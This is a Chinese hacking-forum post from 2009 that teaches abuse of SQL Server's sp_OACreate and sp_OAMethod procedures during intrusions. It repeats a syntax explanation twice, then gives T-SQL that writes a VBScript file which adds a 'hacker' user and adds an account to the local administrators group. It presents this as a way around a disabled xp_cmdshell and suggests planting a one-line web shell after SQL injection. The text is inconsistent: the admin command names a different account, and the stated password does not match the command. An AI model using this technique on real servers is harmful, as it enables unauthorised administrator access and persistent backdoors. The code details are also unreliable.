找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 2081|回复: 0

sp_OAMethod和sp_oacreate在入侵过程中的具体利用

[复制链接]

71

主题

325

回帖

708

牛毛

一级牛人

积分
708
发表于 2009-5-16 00:07:58 | 显示全部楼层 |阅读模式 来自 湖北省武汉市
本帖最后由 nohack 于 2009-5-16 02:04 编辑

为了照顾和我一样的菜鸟朋友们我首先将sp_OAMethod和sp_oacreate的用法贴出来了如下:
sp_OAMethod objecttoken, methodname [, returnvalue OUTPUT] [, [@parametername =] parameter [OUTPUT]...]

Sp_OAMethod是最灵活的,因而也是最复杂的自动操作存储过程,我们甚至可以用它象调用一个方法那样调用一个属性,而且还能得到一个返回值,当然,我们也能使用sp_OAGetProperty来完成这一任务。该存储过程的第一个参数objecttoken是由sp_OACreate返回的对象标记,参数methodname是希望执行的方法的名字,如果该方法有返回值,则下一个参数returnvalue应当是一个包含该方法返回值的适当类型的变量;如果返回值是一个一维或二维的数组,则用NULL作为一个占位符,该过程将返回一个结果集。该存储过程不能返回一个超过二维的数组作为结果集合,在这种情况下,SQL Server就会出错。如果该方法没有返回类型,则使用NULL作为一个占位符。

  如果调用的方法需要参数,就需要在调用sp_OAMethod时提供这些参数。如果方法允许按顺序提供参数,则按要求的顺序列出每个参数,并用逗号分隔每个参数,还可以用变量或文字变量作为参数。如果需要使用有名参数,SQL Server也提供了相应的机制,只需使用

  @变量名=变量值

的形式列出所需的变量即可。需要注意的是不要因为有@前缀而把变量名当作局部变量,当调用存储过程sp_OAMethod时,SQL Server就会解析出@,因此,即使在调用的方法中有名字为HostName的参数时,仍然可以使用名字为@HostName的局部变量。


sp_OAMethod objecttoken, methodname [, returnvalue OUTPUT] [, [@parametername =] parameter [OUTPUT]...]

Sp_OAMethod是最灵活的,因而也是最复杂的自动操作存储过程,我们甚至可以用它象调用一个方法那样调用一个属性,而且还能得到一个返回值,当然,我们也能使用sp_OAGetProperty来完成这一任务。该存储过程的第一个参数objecttoken是由sp_OACreate返回的对象标记,参数methodname是希望执行的方法的名字,如果该方法有返回值,则下一个参数returnvalue应当是一个包含该方法返回值的适当类型的变量;如果返回值是一个一维或二维的数组,则用NULL作为一个占位符,该过程将返回一个结果集。该存储过程不能返回一个超过二维的数组作为结果集合,在这种情况下,SQL Server就会出错。如果该方法没有返回类型,则使用NULL作为一个占位符。

  如果调用的方法需要参数,就需要在调用sp_OAMethod时提供这些参数。如果方法允许按顺序提供参数,则按要求的顺序列出每个参数,并用逗号分隔每个参数,还可以用变量或文字变量作为参数。如果需要使用有名参数,SQL Server也提供了相应的机制,只需使用

  @变量名=变量值

的形式列出所需的变量即可。需要注意的是不要因为有@前缀而把变量名当作局部变量,当调用存储过程sp_OAMethod时,SQL Server就会解析出@,因此,即使在调用的方法中有名字为HostName的参数时,仍然可以使用名字为@HostName的局部变量。




内容很多看得很烦,现在就举个例子来讲诉下实战的作用
要想执行上述两个存储过程必须是sa权限,或许有人会说有sa权限那我直接调用xp_cmdshell,可要是被删掉了怎么办?恢复?可要xplog70.dll也改名了呢?。。当然即使这样也还有其他提权方法,我这里只是讲诉这两个存储过程的具体使用:请看如下代码declare @o int, @f int,@ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\a.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'set wshshell=createobject("wscript.shell")'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'a=wshshell.run ("cmd.exe /c net user hacker 12***56 /add",0)'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'b=wshshell.run ("cmd.exe /c net localgroup administrators lcx /add",0)'以上代码是将a.vbs写入到d盘你也可以加到启动项,运行a.vbs后新建一个hacker的账户,密码也为hacker。当然假如你是靠注射点获取的sa权限你完全可以直接写个一句话到网站目录下。就看自己如何利用了!。。东西是死的,人是活的关键是灵活运用。写给像我一样的菜鸟朋友,高手飘过!
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-30 07:44 , Processed in 0.135414 second(s), 33 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表